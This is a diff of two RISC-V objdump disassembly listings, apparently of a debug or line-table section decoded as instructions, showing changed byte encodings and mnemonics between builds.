-    1b9e:	0900                	addi	s0,sp,144
-    1ba0:	0004                	0x4
-    1ba2:	0501                	addi	a0,a0,0
-    1ba4:	033c                	addi	a5,sp,392
-    1ba6:	097f                	0x97f
-    1ba8:	0008                	0x8
+    1b58:	0301                	addi	t1,t1,0
+    1b5a:	0900                	addi	s0,sp,144
+    1b5c:	0000                	unimp
+    1b5e:	0301                	addi	t1,t1,0
+    1b60:	0900                	addi	s0,sp,144
+    1b62:	0000                	unimp
+    1b64:	0301                	addi	t1,t1,0
+    1b66:	0900                	addi	s0,sp,144
+    1b68:	0000                	unimp
+    1b6a:	0301                	addi	t1,t1,0
+    1b6c:	0900                	addi	s0,sp,144
+    1b6e:	0000                	unimp
+    1b70:	0301                	addi	t1,t1,0
+    1b72:	0900                	addi	s0,sp,144
+    1b74:	0000                	unimp
+    1b76:	0301                	addi	t1,t1,0
+    1b78:	0900                	addi	s0,sp,144
+    1b7a:	0000                	unimp
+    1b7c:	0301                	addi	t1,t1,0
+    1b7e:	0900                	addi	s0,sp,144
+    1b80:	0000                	unimp
+    1b82:	0301                	addi	t1,t1,0
+    1b84:	0900                	addi	s0,sp,144
+    1b86:	0000                	unimp
+    1b88:	0501                	addi	a0,a0,0
+    1b8a:	0605                	addi	a2,a2,1
+    1b8c:	00090003          	lb	zero,0(s2)
+    1b90:	0100                	addi	s0,sp,128
+    1b92:	0a05                	addi	s4,s4,1
+    1b94:	00090b03          	lb	s6,0(s2)
+    1b98:	0100                	addi	s0,sp,128
+    1b9a:	0105                	addi	sp,sp,1
+    1b9c:	00090203          	lb	tp,0(s2)
+    1ba0:	0100                	addi	s0,sp,128
+    1ba2:	0305                	addi	t1,t1,1
+    1ba4:	0306                	slli	t1,t1,0x1
+    1ba6:	0974                	addi	a3,sp,156
+    1ba8:	0000                	unimp
     1baa:	0501                	addi	a0,a0,0
-    1bac:	0326                	slli	t1,t1,0x9
-    1bae:	0901                	addi	s2,s2,0
-    1bb0:	0004                	0x4
-    1bb2:	0501                	addi	a0,a0,0
-    1bb4:	0341                	addi	t1,t1,16
-    1bb6:	097f                	0x97f
-    1bb8:	0002                	c.slli64	zero
-    1bba:	0501                	addi	a0,a0,0
-    1bbc:	033c                	addi	a5,sp,392
-    1bbe:	0900                	addi	s0,sp,144
-    1bc0:	0008                	0x8
-    1bc2:	0501                	addi	a0,a0,0
-    1bc4:	0341                	addi	t1,t1,16
-    1bc6:	0900                	addi	s0,sp,144
-    1bc8:	0004                	0x4
+    1bac:	0606                	slli	a2,a2,0x1
+    1bae:	00090003          	lb	zero,0(s2)
+    1bb2:	0100                	addi	s0,sp,128
+    1bb4:	0505                	addi	a0,a0,1
+    1bb6:	00090003          	lb	zero,0(s2)
+    1bba:	0100                	addi	s0,sp,128
+    1bbc:	0405                	addi	s0,s0,1
+    1bbe:	0306                	slli	t1,t1,0x1
+    1bc0:	0901                	addi	s2,s2,0
+    1bc2:	0000                	unimp
+    1bc4:	0301                	addi	t1,t1,0
+    1bc6:	0902                	c.slli64	s2
+    1bc8:	0000                	unimp
     1bca:	0501                	addi	a0,a0,0
-    1bcc:	0304                	addi	s1,sp,384
-    1bce:	0900                	addi	s0,sp,144
-    1bd0:	000a                	c.slli	zero,0x2
-    1bd2:	0601                	addi	a2,a2,0
-    1bd4:	0e090203          	lb	tp,224(s2)
-    1bd8:	0100                	addi	s0,sp,128
-    1bda:	00090003          	lb	zero,0(s2)
-    1bde:	0100                	addi	s0,sp,128
-    1be0:	00090003          	lb	zero,0(s2)
+    1bcc:	0609                	addi	a2,a2,2
+    1bce:	00090003          	lb	zero,0(s2)
+    1bd2:	0100                	addi	s0,sp,128
+    1bd4:	0405                	addi	s0,s0,1
+    1bd6:	0306                	slli	t1,t1,0x1
+    1bd8:	0902                	c.slli64	s2
+    1bda:	0000                	unimp
+    1bdc:	0501                	addi	a0,a0,0
+    1bde:	0003060b          	0x3060b
+    1be2:	0009                	c.nop	2
     1be4:	0100                	addi	s0,sp,128
-    1be6:	00090003          	lb	zero,0(s2)
-    1bea:	0100                	addi	s0,sp,128
-    1bec:	08090003          	lb	zero,128(s2)
-    1bf0:	0100                	addi	s0,sp,128
-    1bf2:	0a05                	addi	s4,s4,1
-    1bf4:	02090103          	lb	sp,32(s2)
-    1bf8:	0100                	addi	s0,sp,128
-    1bfa:	0905                	addi	s2,s2,1
-    1bfc:	0a090303          	lb	t1,160(s2)
-    1c00:	0100                	addi	s0,sp,128
-    1c02:	0d05                	addi	s10,s10,1
-    1c04:	0306                	slli	t1,t1,0x1
-    1c06:	0900                	addi	s0,sp,144
-    1c08:	0000                	unimp
-    1c0a:	0501                	addi	a0,a0,0
-    1c0c:	030c                	addi	a1,sp,384
-    1c0e:	0900                	addi	s0,sp,144
-    1c10:	000e                	c.slli	zero,0x3
-    1c12:	0501                	addi	a0,a0,0
-    1c14:	0028                	addi	a0,sp,8
-    1c16:	0402                	c.slli64	s0
-    1c18:	0601                	addi	a2,a2,0
-    1c1a:	02090003          	lb	zero,32(s2)
-    1c1e:	0100                	addi	s0,sp,128
-    1c20:	0105                	addi	sp,sp,1
-    1c22:	0200                	addi	s0,sp,256
-    1c24:	0104                	addi	s1,sp,128
-    1c26:	0306                	slli	t1,t1,0x1
-    1c28:	091d                	addi	s2,s2,7
-    1c2a:	0000                	unimp
-    1c2c:	0501                	addi	a0,a0,0
-    1c2e:	0028                	addi	a0,sp,8
-    1c30:	0402                	c.slli64	s0
-    1c32:	0301                	addi	t1,t1,0
-    1c34:	000c0963          	beqz	s8,1c46 <__stack_size+0x1446>
-    1c38:	0501                	addi	a0,a0,0
-    1c3a:	04030607          	0x4030607
-    1c3e:	0409                	addi	s0,s0,2
-    1c40:	0100                	addi	s0,sp,128
-    1c42:	0b05                	addi	s6,s6,1
-    1c44:	0306                	slli	t1,t1,0x1
-    1c46:	0900                	addi	s0,sp,144
-    1c48:	0000                	unimp
-    1c4a:	0501                	addi	a0,a0,0
-    1c4c:	030a                	slli	t1,t1,0x2
-    1c4e:	0900                	addi	s0,sp,144
-    1c50:	000e                	c.slli	zero,0x3
-    1c52:	0501                	addi	a0,a0,0
-    1c54:	0028                	addi	a0,sp,8
-    1c56:	0402                	c.slli64	s0
-    1c58:	0601                	addi	a2,a2,0
-    1c5a:	02090003          	lb	zero,32(s2)
-    1c5e:	0100                	addi	s0,sp,128
-    1c60:	0705                	addi	a4,a4,1
-    1c62:	06090403          	lb	s0,96(s2)
-    1c66:	0100                	addi	s0,sp,128
-    1c68:	0b05                	addi	s6,s6,1
-    1c6a:	0306                	slli	t1,t1,0x1
-    1c6c:	0900                	addi	s0,sp,144
-    1c6e:	0000                	unimp
-    1c70:	0501                	addi	a0,a0,0
-    1c72:	030a                	slli	t1,t1,0x2
-    1c74:	0900                	addi	s0,sp,144
-    1c76:	000e                	c.slli	zero,0x3
+    1be6:	0009                	c.nop	2
+    1be8:	0000                	unimp
+    1bea:	0101                	addi	sp,sp,0
+    1bec:	0105                	addi	sp,sp,1
+    1bee:	0500                	addi	s0,sp,640
+    1bf0:	4602                	lw	a2,0(sp)
+    1bf2:	4020                	lw	s0,64(s0)
+    1bf4:	0320                	addi	s0,sp,392
+    1bf6:	018d                	addi	gp,gp,3
+    1bf8:	0501                	addi	a0,a0,0
+    1bfa:	0302                	c.slli64	t1
+    1bfc:	0901                	addi	s2,s2,0
+    1bfe:	0000                	unimp
+    1c00:	0301                	addi	t1,t1,0
+    1c02:	0902                	c.slli64	s2
+    1c04:	0000                	unimp
+    1c06:	0501                	addi	a0,a0,0
+    1c08:	0601                	addi	a2,a2,0
+    1c0a:	00097d03          	0x97d03
+    1c0e:	0100                	addi	s0,sp,128
+    1c10:	0b05                	addi	s6,s6,1
+    1c12:	08090303          	lb	t1,128(s2)
+    1c16:	0100                	addi	s0,sp,128
+    1c18:	0205                	addi	tp,tp,1
+    1c1a:	0306                	slli	t1,t1,0x1
+    1c1c:	0902                	c.slli64	s2
+    1c1e:	0004                	0x4
+    1c20:	0501                	addi	a0,a0,0
+    1c22:	0611                	addi	a2,a2,4
+    1c24:	00090003          	lb	zero,0(s2)
+    1c28:	0100                	addi	s0,sp,128
+    1c2a:	0105                	addi	sp,sp,1
+    1c2c:	08097b03          	0x8097b03
+    1c30:	0100                	addi	s0,sp,128
+    1c32:	12090003          	lb	zero,288(s2)
+    1c36:	0100                	addi	s0,sp,128
+    1c38:	1105                	addi	sp,sp,-31
+    1c3a:	04090503          	lb	a0,64(s2)
+    1c3e:	0100                	addi	s0,sp,128
+    1c40:	0b05                	addi	s6,s6,1
+    1c42:	02090003          	lb	zero,32(s2)
+    1c46:	0100                	addi	s0,sp,128
+    1c48:	0405                	addi	s0,s0,1
+    1c4a:	04090203          	lb	tp,64(s2)
+    1c4e:	0100                	addi	s0,sp,128
+    1c50:	0b05                	addi	s6,s6,1
+    1c52:	02097e03          	0x2097e03
+    1c56:	0100                	addi	s0,sp,128
+    1c58:	0205                	addi	tp,tp,1
+    1c5a:	0306                	slli	t1,t1,0x1
+    1c5c:	0902                	c.slli64	s2
+    1c5e:	000a                	c.slli	zero,0x2
+    1c60:	0501                	addi	a0,a0,0
+    1c62:	0604                	addi	s1,sp,768
+    1c64:	00090003          	lb	zero,0(s2)
+    1c68:	0100                	addi	s0,sp,128
+    1c6a:	0305                	addi	t1,t1,1
+    1c6c:	0306                	slli	t1,t1,0x1
+    1c6e:	0901                	addi	s2,s2,0
+    1c70:	0004                	0x4
+    1c72:	0301                	addi	t1,t1,0
+    1c74:	0901                	addi	s2,s2,0
+    1c76:	000a                	c.slli	zero,0x2
     1c78:	0501                	addi	a0,a0,0
-    1c7a:	0024                	addi	s1,sp,8
-    1c7c:	0402                	c.slli64	s0
-    1c7e:	0601                	addi	a2,a2,0
-    1c80:	02090003          	lb	zero,32(s2)
-    1c84:	0100                	addi	s0,sp,128
-    1c86:	0105                	addi	sp,sp,1
-    1c88:	0200                	addi	s0,sp,256
-    1c8a:	0104                	addi	s1,sp,128
-    1c8c:	0306                	slli	t1,t1,0x1
-    1c8e:	0915                	addi	s2,s2,5
-    1c90:	0000                	unimp
-    1c92:	0501                	addi	a0,a0,0
-    1c94:	0024                	addi	s1,sp,8
-    1c96:	0402                	c.slli64	s0
-    1c98:	0301                	addi	t1,t1,0
-    1c9a:	000c096b          	0xc096b
-    1c9e:	0501                	addi	a0,a0,0
-    1ca0:	04030607          	0x4030607
-    1ca4:	0209                	addi	tp,tp,2
-    1ca6:	0100                	addi	s0,sp,128
-    1ca8:	0b05                	addi	s6,s6,1
-    1caa:	0306                	slli	t1,t1,0x1
-    1cac:	0900                	addi	s0,sp,144
-    1cae:	0000                	unimp
-    1cb0:	0501                	addi	a0,a0,0
-    1cb2:	030a                	slli	t1,t1,0x2
-    1cb4:	0900                	addi	s0,sp,144
-    1cb6:	000e                	c.slli	zero,0x3
-    1cb8:	0501                	addi	a0,a0,0
-    1cba:	0026                	c.slli	zero,0x9
-    1cbc:	0402                	c.slli64	s0
-    1cbe:	0601                	addi	a2,a2,0
-    1cc0:	02090003          	lb	zero,32(s2)
-    1cc4:	0100                	addi	s0,sp,128
-    1cc6:	0705                	addi	a4,a4,1
-    1cc8:	06090403          	lb	s0,96(s2)
-    1ccc:	0100                	addi	s0,sp,128
-    1cce:	0b05                	addi	s6,s6,1
-    1cd0:	0306                	slli	t1,t1,0x1
-    1cd2:	0900                	addi	s0,sp,144
-    1cd4:	0000                	unimp
-    1cd6:	0501                	addi	a0,a0,0
-    1cd8:	030a                	slli	t1,t1,0x2
-    1cda:	0900                	addi	s0,sp,144
-    1cdc:	000e                	c.slli	zero,0x3
-    1cde:	0501                	addi	a0,a0,0
-    1ce0:	02030603          	lb	a2,32(t1)
-    1ce4:	0209                	addi	tp,tp,2
-    1ce6:	0100                	addi	s0,sp,128
-    1ce8:	00090103          	lb	sp,0(s2)
-    1cec:	0100                	addi	s0,sp,128
-    1cee:	1605                	addi	a2,a2,-31
-    1cf0:	00090003          	lb	zero,0(s2)
-    1cf4:	0100                	addi	s0,sp,128
-    1cf6:	00090003          	lb	zero,0(s2)
+    1c7a:	0609                	addi	a2,a2,2
+    1c7c:	00090003          	lb	zero,0(s2)
+    1c80:	0100                	addi	s0,sp,128
+    1c82:	0305                	addi	t1,t1,1
+    1c84:	0306                	slli	t1,t1,0x1
+    1c86:	0901                	addi	s2,s2,0
+    1c88:	0008                	0x8
+    1c8a:	0501                	addi	a0,a0,0
+    1c8c:	0302                	c.slli64	t1
+    1c8e:	0902                	c.slli64	s2
+    1c90:	000a                	c.slli	zero,0x2
+    1c92:	0301                	addi	t1,t1,0
+    1c94:	0908                	addi	a0,sp,144
+    1c96:	0000                	unimp
+    1c98:	0501                	addi	a0,a0,0
+    1c9a:	09010303          	lb	t1,144(sp)
+    1c9e:	0000                	unimp
+    1ca0:	0301                	addi	t1,t1,0
+    1ca2:	0901                	addi	s2,s2,0
+    1ca4:	000a                	c.slli	zero,0x2
+    1ca6:	0301                	addi	t1,t1,0
+    1ca8:	0901                	addi	s2,s2,0
+    1caa:	0000                	unimp
+    1cac:	0301                	addi	t1,t1,0
+    1cae:	0901                	addi	s2,s2,0
+    1cb0:	000a                	c.slli	zero,0x2
+    1cb2:	0501                	addi	a0,a0,0
+    1cb4:	060a                	slli	a2,a2,0x2
+    1cb6:	00090003          	lb	zero,0(s2)
+    1cba:	0100                	addi	s0,sp,128
+    1cbc:	0305                	addi	t1,t1,1
+    1cbe:	04090103          	lb	sp,64(s2)
+    1cc2:	0100                	addi	s0,sp,128
+    1cc4:	0a05                	addi	s4,s4,1
+    1cc6:	08097f03          	0x8097f03
+    1cca:	0100                	addi	s0,sp,128
+    1ccc:	0305                	addi	t1,t1,1
+    1cce:	0306                	slli	t1,t1,0x1
+    1cd0:	0901                	addi	s2,s2,0
+    1cd2:	0004                	0x4
+    1cd4:	0301                	addi	t1,t1,0
+    1cd6:	0901                	addi	s2,s2,0
+    1cd8:	0002                	c.slli64	zero
+    1cda:	0501                	addi	a0,a0,0
+    1cdc:	0003065b          	0x3065b
+    1ce0:	0009                	c.nop	2
+    1ce2:	0100                	addi	s0,sp,128
+    1ce4:	0305                	addi	t1,t1,1
+    1ce6:	0a090003          	lb	zero,160(s2)
+    1cea:	0100                	addi	s0,sp,128
+    1cec:	0306                	slli	t1,t1,0x1
+    1cee:	0901                	addi	s2,s2,0
+    1cf0:	0014                	0x14
+    1cf2:	0501                	addi	a0,a0,0
+    1cf4:	00030613          	mv	a2,t1
+    1cf8:	0009                	c.nop	2
     1cfa:	0100                	addi	s0,sp,128
-    1cfc:	0a090003          	lb	zero,160(s2)
-    1d00:	0100                	addi	s0,sp,128
-    1d02:	0405                	addi	s0,s0,1
-    1d04:	02090203          	lb	tp,32(s2)
-    1d08:	0100                	addi	s0,sp,128
-    1d0a:	0305                	addi	t1,t1,1
-    1d0c:	06090303          	lb	t1,96(s2)
-    1d10:	0100                	addi	s0,sp,128
-    1d12:	1605                	addi	a2,a2,-31
-    1d14:	00090003          	lb	zero,0(s2)
-    1d18:	0100                	addi	s0,sp,128
-    1d1a:	00090003          	lb	zero,0(s2)
-    1d1e:	0100                	addi	s0,sp,128
-    1d20:	08090003          	lb	zero,128(s2)
+    1cfc:	2c05                	jal	1f2c <__stack_size+0x172c>
+    1cfe:	0a090003          	lb	zero,160(s2)
+    1d02:	0100                	addi	s0,sp,128
+    1d04:	0305                	addi	t1,t1,1
+    1d06:	04090003          	lb	zero,64(s2)
+    1d0a:	0100                	addi	s0,sp,128
+    1d0c:	0605                	addi	a2,a2,1
+    1d0e:	0306                	slli	t1,t1,0x1
+    1d10:	0901                	addi	s2,s2,0
+    1d12:	0008                	0x8
+    1d14:	0501                	addi	a0,a0,0
+    1d16:	0003064b          	fnmsub.s	fa2,ft6,ft0,ft0,rne
+    1d1a:	0009                	c.nop	2
+    1d1c:	0100                	addi	s0,sp,128
+    1d1e:	3805                	jal	154e <__stack_size+0xd4e>
+    1d20:	0a090003          	lb	zero,160(s2)
     1d24:	0100                	addi	s0,sp,128
-    1d26:	0305                	addi	t1,t1,1
-    1d28:	00090103          	lb	sp,0(s2)
+    1d26:	0605                	addi	a2,a2,1
+    1d28:	02090003          	lb	zero,32(s2)
     1d2c:	0100                	addi	s0,sp,128
-    1d2e:	0905                	addi	s2,s2,1
-    1d30:	10090203          	lb	tp,256(s2)
-    1d34:	0100                	addi	s0,sp,128
-    1d36:	0a09                	addi	s4,s4,2
-    1d38:	0000                	unimp
-    1d3a:	0101                	addi	sp,sp,0
-    1d3c:	1005                	c.nop	-31
-    1d3e:	0500                	addi	s0,sp,640
-    1d40:	f802                	fsw	ft0,48(sp)
-    1d42:	4026                	0x4026
-    1d44:	0320                	addi	s0,sp,392
-    1d46:	050103db          	0x50103db
-    1d4a:	0302                	c.slli64	t1
-    1d4c:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
+    1d2e:	0205                	addi	tp,tp,1
+    1d30:	0306                	slli	t1,t1,0x1
+    1d32:	00140903          	lb	s2,1(s0)
+    1d36:	0501                	addi	a0,a0,0
+    1d38:	0604                	addi	s1,sp,768
+    1d3a:	00090003          	lb	zero,0(s2)
+    1d3e:	0100                	addi	s0,sp,128
+    1d40:	0605                	addi	a2,a2,1
+    1d42:	06090103          	lb	sp,96(s2)
+    1d46:	0100                	addi	s0,sp,128
+    1d48:	0205                	addi	tp,tp,1
+    1d4a:	0306                	slli	t1,t1,0x1
+    1d4c:	0902                	c.slli64	s2
+    1d4e:	0002                	c.slli64	zero
     1d50:	0301                	addi	t1,t1,0
-    1d52:	0901                	addi	s2,s2,0
+    1d52:	0902                	c.slli64	s2
     1d54:	0000                	unimp
-    1d56:	0301                	addi	t1,t1,0
-    1d58:	0901                	addi	s2,s2,0
-    1d5a:	0000                	unimp
-    1d5c:	0501                	addi	a0,a0,0
-    1d5e:	09000347          	fmsub.s	ft6,ft0,fa6,ft1,rne
-    1d62:	0000                	unimp
-    1d64:	0501                	addi	a0,a0,0
-    1d66:	0302                	c.slli64	t1
-    1d68:	0902                	c.slli64	s2
-    1d6a:	0000                	unimp
-    1d6c:	0301                	addi	t1,t1,0
-    1d6e:	0902                	c.slli64	s2
-    1d70:	0000                	unimp
-    1d72:	0501                	addi	a0,a0,0
-    1d74:	0610                	addi	a2,sp,768
-    1d76:	00097703          	0x97703
+    1d56:	0501                	addi	a0,a0,0
+    1d58:	7e03060b          	0x7e03060b
+    1d5c:	0009                	c.nop	2
+    1d5e:	0100                	addi	s0,sp,128
+    1d60:	0605                	addi	a2,a2,1
+    1d62:	02090703          	lb	a4,32(s2)
+    1d66:	0100                	addi	s0,sp,128
+    1d68:	02090503          	lb	a0,32(s2)
+    1d6c:	0100                	addi	s0,sp,128
+    1d6e:	02090803          	lb	a6,32(s2)
+    1d72:	0100                	addi	s0,sp,128
+    1d74:	3205                	jal	1694 <__stack_size+0xe94>
+    1d76:	08097d03          	0x8097d03
     1d7a:	0100                	addi	s0,sp,128
-    1d7c:	1805                	addi	a6,a6,-31
-    1d7e:	14090903          	lb	s2,320(s2)
+    1d7c:	0605                	addi	a2,a2,1
+    1d7e:	08090003          	lb	zero,128(s2)
     1d82:	0100                	addi	s0,sp,128
-    1d84:	2405                	jal	1fa4 <__stack_size+0x17a4>
-    1d86:	0900c603          	lbu	a2,144(ra)
+    1d84:	0705                	addi	a4,a4,1
+    1d86:	0306                	slli	t1,t1,0x1
+    1d88:	0971                	addi	s2,s2,28
     1d8a:	0008                	0x8
     1d8c:	0501                	addi	a0,a0,0
-    1d8e:	031c                	addi	a5,sp,384
-    1d90:	0905                	addi	s2,s2,1
+    1d8e:	0302                	c.slli64	t1
+    1d90:	0920                	addi	s0,sp,152
     1d92:	0004                	0x4
     1d94:	0501                	addi	a0,a0,0
-    1d96:	0309                	addi	t1,t1,2
-    1d98:	0969                	addi	s2,s2,26
-    1d9a:	0004                	0x4
-    1d9c:	0501                	addi	a0,a0,0
-    1d9e:	031d                	addi	t1,t1,7
-    1da0:	0900                	addi	s0,sp,144
-    1da2:	0008                	0x8
-    1da4:	0501                	addi	a0,a0,0
-    1da6:	0608                	addi	a0,sp,768
-    1da8:	04094c03          	lbu	s8,64(s2)
-    1dac:	0100                	addi	s0,sp,128
-    1dae:	1805                	addi	a6,a6,-31
-    1db0:	0306                	slli	t1,t1,0x1
-    1db2:	0900                	addi	s0,sp,144
-    1db4:	0000                	unimp
-    1db6:	0501                	addi	a0,a0,0
-    1db8:	09000323          	sb	a6,134(zero) # 86 <__stack_size-0x77a>
-    1dbc:	0004                	0x4
-    1dbe:	0501                	addi	a0,a0,0
-    1dc0:	0900030f          	0x900030f
-    1dc4:	0004                	0x4
-    1dc6:	0501                	addi	a0,a0,0
-    1dc8:	0602                	c.slli64	a2
-    1dca:	0900e003          	0x900e003
-    1dce:	0006                	c.slli	zero,0x1
-    1dd0:	0501                	addi	a0,a0,0
-    1dd2:	0609                	addi	a2,a2,2
-    1dd4:	00090003          	lb	zero,0(s2)
-    1dd8:	0100                	addi	s0,sp,128
-    1dda:	0305                	addi	t1,t1,1
-    1ddc:	0306                	slli	t1,t1,0x1
-    1dde:	7fa2                	flw	ft11,40(sp)
-    1de0:	0209                	addi	tp,tp,2
-    1de2:	0100                	addi	s0,sp,128
-    1de4:	1c05                	addi	s8,s8,-31
-    1de6:	0306                	slli	t1,t1,0x1
-    1de8:	0900                	addi	s0,sp,144
-    1dea:	0000                	unimp
-    1dec:	0501                	addi	a0,a0,0
-    1dee:	0604                	addi	s1,sp,768
-    1df0:	0a090103          	lb	sp,160(s2)
-    1df4:	0100                	addi	s0,sp,128
-    1df6:	2505                	jal	2416 <__stack_size+0x1c16>
-    1df8:	0306                	slli	t1,t1,0x1
-    1dfa:	0900                	addi	s0,sp,144
-    1dfc:	0000                	unimp
-    1dfe:	0501                	addi	a0,a0,0
-    1e00:	09000327          	0x9000327
-    1e04:	0004                	0x4
-    1e06:	0501                	addi	a0,a0,0
-    1e08:	030e                	slli	t1,t1,0x3
-    1e0a:	0901                	addi	s2,s2,0
-    1e0c:	0008                	0x8
-    1e0e:	0501                	addi	a0,a0,0
-    1e10:	031a                	slli	t1,t1,0x6
-    1e12:	0900                	addi	s0,sp,144
-    1e14:	0004                	0x4
+    1d96:	0604                	addi	s1,sp,768
+    1d98:	00090003          	lb	zero,0(s2)
+    1d9c:	0100                	addi	s0,sp,128
+    1d9e:	0305                	addi	t1,t1,1
+    1da0:	0306                	slli	t1,t1,0x1
+    1da2:	0901                	addi	s2,s2,0
+    1da4:	0006                	c.slli	zero,0x1
+    1da6:	0501                	addi	a0,a0,0
+    1da8:	0302                	c.slli64	t1
+    1daa:	0902                	c.slli64	s2
+    1dac:	000a                	c.slli	zero,0x2
+    1dae:	0501                	addi	a0,a0,0
+    1db0:	0601                	addi	a2,a2,0
+    1db2:	00090103          	lb	sp,0(s2)
+    1db6:	0100                	addi	s0,sp,128
+    1db8:	0205                	addi	tp,tp,1
+    1dba:	0306                	slli	t1,t1,0x1
+    1dbc:	0944                	addi	s1,sp,148
+    1dbe:	001c                	0x1c
+    1dc0:	0501                	addi	a0,a0,0
+    1dc2:	0604                	addi	s1,sp,768
+    1dc4:	00090003          	lb	zero,0(s2)
+    1dc8:	0100                	addi	s0,sp,128
+    1dca:	0305                	addi	t1,t1,1
+    1dcc:	0306                	slli	t1,t1,0x1
+    1dce:	0901                	addi	s2,s2,0
+    1dd0:	0006                	c.slli	zero,0x1
+    1dd2:	0501                	addi	a0,a0,0
+    1dd4:	0609                	addi	a2,a2,2
+    1dd6:	00090003          	lb	zero,0(s2)
+    1dda:	0100                	addi	s0,sp,128
+    1ddc:	0305                	addi	t1,t1,1
+    1dde:	0306                	slli	t1,t1,0x1
+    1de0:	0901                	addi	s2,s2,0
+    1de2:	0008                	0x8
+    1de4:	0501                	addi	a0,a0,0
+    1de6:	0616                	slli	a2,a2,0x5
+    1de8:	00090003          	lb	zero,0(s2)
+    1dec:	0100                	addi	s0,sp,128
+    1dee:	0305                	addi	t1,t1,1
+    1df0:	0306                	slli	t1,t1,0x1
+    1df2:	0901                	addi	s2,s2,0
+    1df4:	0008                	0x8
+    1df6:	0501                	addi	a0,a0,0
+    1df8:	00030613          	mv	a2,t1
+    1dfc:	0009                	c.nop	2
+    1dfe:	0100                	addi	s0,sp,128
+    1e00:	2c05                	jal	2030 <__stack_size+0x1830>
+    1e02:	0a090003          	lb	zero,160(s2)
+    1e06:	0100                	addi	s0,sp,128
+    1e08:	0305                	addi	t1,t1,1
+    1e0a:	04090003          	lb	zero,64(s2)
+    1e0e:	0100                	addi	s0,sp,128
+    1e10:	0306                	slli	t1,t1,0x1
+    1e12:	0901                	addi	s2,s2,0
+    1e14:	0008                	0x8
     1e16:	0501                	addi	a0,a0,0
-    1e18:	097f030f          	0x97f030f
-    1e1c:	0004                	0x4
-    1e1e:	0501                	addi	a0,a0,0
-    1e20:	0604                	addi	s1,sp,768
-    1e22:	06090103          	lb	sp,96(s2)
-    1e26:	0100                	addi	s0,sp,128
-    1e28:	0705                	addi	a4,a4,1
-    1e2a:	0306                	slli	t1,t1,0x1
-    1e2c:	0900                	addi	s0,sp,144
-    1e2e:	0000                	unimp
-    1e30:	0501                	addi	a0,a0,0
-    1e32:	001f 0402 0601      	0x6010402001f
-    1e38:	04090003          	lb	zero,64(s2)
-    1e3c:	0100                	addi	s0,sp,128
-    1e3e:	2805                	jal	1e6e <__stack_size+0x166e>
-    1e40:	0200                	addi	s0,sp,256
-    1e42:	0104                	addi	s1,sp,128
-    1e44:	0306                	slli	t1,t1,0x1
-    1e46:	0900                	addi	s0,sp,144
-    1e48:	0000                	unimp
-    1e4a:	0501                	addi	a0,a0,0
-    1e4c:	002d                	c.nop	11
-    1e4e:	0402                	c.slli64	s0
-    1e50:	0601                	addi	a2,a2,0
-    1e52:	04090003          	lb	zero,64(s2)
-    1e56:	0100                	addi	s0,sp,128
-    1e58:	3605                	jal	1978 <__stack_size+0x1178>
-    1e5a:	0200                	addi	s0,sp,256
-    1e5c:	0104                	addi	s1,sp,128
-    1e5e:	0306                	slli	t1,t1,0x1
-    1e60:	0900                	addi	s0,sp,144
-    1e62:	0000                	unimp
-    1e64:	0501                	addi	a0,a0,0
-    1e66:	01030603          	lb	a2,16(t1)
-    1e6a:	0409                	addi	s0,s0,2
-    1e6c:	0100                	addi	s0,sp,128
-    1e6e:	1c05                	addi	s8,s8,-31
-    1e70:	0306                	slli	t1,t1,0x1
-    1e72:	0900                	addi	s0,sp,144
-    1e74:	0000                	unimp
-    1e76:	0501                	addi	a0,a0,0
-    1e78:	02030603          	lb	a2,32(t1)
-    1e7c:	0c09                	addi	s8,s8,2
-    1e7e:	0100                	addi	s0,sp,128
-    1e80:	0605                	addi	a2,a2,1
-    1e82:	0306                	slli	t1,t1,0x1
-    1e84:	0900                	addi	s0,sp,144
-    1e86:	0000                	unimp
-    1e88:	0501                	addi	a0,a0,0
-    1e8a:	0604                	addi	s1,sp,768
-    1e8c:	06090103          	lb	sp,96(s2)
-    1e90:	0100                	addi	s0,sp,128
-    1e92:	0705                	addi	a4,a4,1
-    1e94:	0306                	slli	t1,t1,0x1
-    1e96:	0900                	addi	s0,sp,144
-    1e98:	0000                	unimp
-    1e9a:	0301                	addi	t1,t1,0
-    1e9c:	00020903          	lb	s2,0(tp) # 0 <__stack_size-0x800>
-    1ea0:	0501                	addi	a0,a0,0
-    1ea2:	060a                	slli	a2,a2,0x2
-    1ea4:	06097f03          	0x6097f03
-    1ea8:	0100                	addi	s0,sp,128
-    1eaa:	1105                	addi	sp,sp,-31
-    1eac:	0306                	slli	t1,t1,0x1
-    1eae:	0900                	addi	s0,sp,144
-    1eb0:	0000                	unimp
-    1eb2:	0501                	addi	a0,a0,0
-    1eb4:	030d                	addi	t1,t1,3
-    1eb6:	0900                	addi	s0,sp,144
-    1eb8:	0004                	0x4
-    1eba:	0501                	addi	a0,a0,0
-    1ebc:	0015                	c.nop	5
-    1ebe:	0402                	c.slli64	s0
-    1ec0:	0301                	addi	t1,t1,0
-    1ec2:	0900                	addi	s0,sp,144
-    1ec4:	0006                	c.slli	zero,0x1
-    1ec6:	0501                	addi	a0,a0,0
-    1ec8:	0604                	addi	s1,sp,768
-    1eca:	08090103          	lb	sp,128(s2)
-    1ece:	0100                	addi	s0,sp,128
-    1ed0:	0705                	addi	a4,a4,1
-    1ed2:	0306                	slli	t1,t1,0x1
-    1ed4:	0900                	addi	s0,sp,144
-    1ed6:	0000                	unimp
-    1ed8:	0501                	addi	a0,a0,0
-    1eda:	060a                	slli	a2,a2,0x2
-    1edc:	04090203          	lb	tp,64(s2)
-    1ee0:	0100                	addi	s0,sp,128
-    1ee2:	0d05                	addi	s10,s10,1
-    1ee4:	0306                	slli	t1,t1,0x1
-    1ee6:	0900                	addi	s0,sp,144
+    1e18:	0003060f          	0x3060f
+    1e1c:	0009                	c.nop	2
+    1e1e:	0100                	addi	s0,sp,128
+    1e20:	0305                	addi	t1,t1,1
+    1e22:	0306                	slli	t1,t1,0x1
+    1e24:	0901                	addi	s2,s2,0
+    1e26:	0006                	c.slli	zero,0x1
+    1e28:	0301                	addi	t1,t1,0
+    1e2a:	0900                	addi	s0,sp,144
+    1e2c:	0008                	0x8
+    1e2e:	0301                	addi	t1,t1,0
+    1e30:	0900                	addi	s0,sp,144
+    1e32:	0008                	0x8
+    1e34:	0001                	nop
+    1e36:	0402                	c.slli64	s0
+    1e38:	0301                	addi	t1,t1,0
+    1e3a:	0900                	addi	s0,sp,144
+    1e3c:	0004                	0x4
+    1e3e:	0001                	nop
+    1e40:	0402                	c.slli64	s0
+    1e42:	0301                	addi	t1,t1,0
+    1e44:	0900                	addi	s0,sp,144
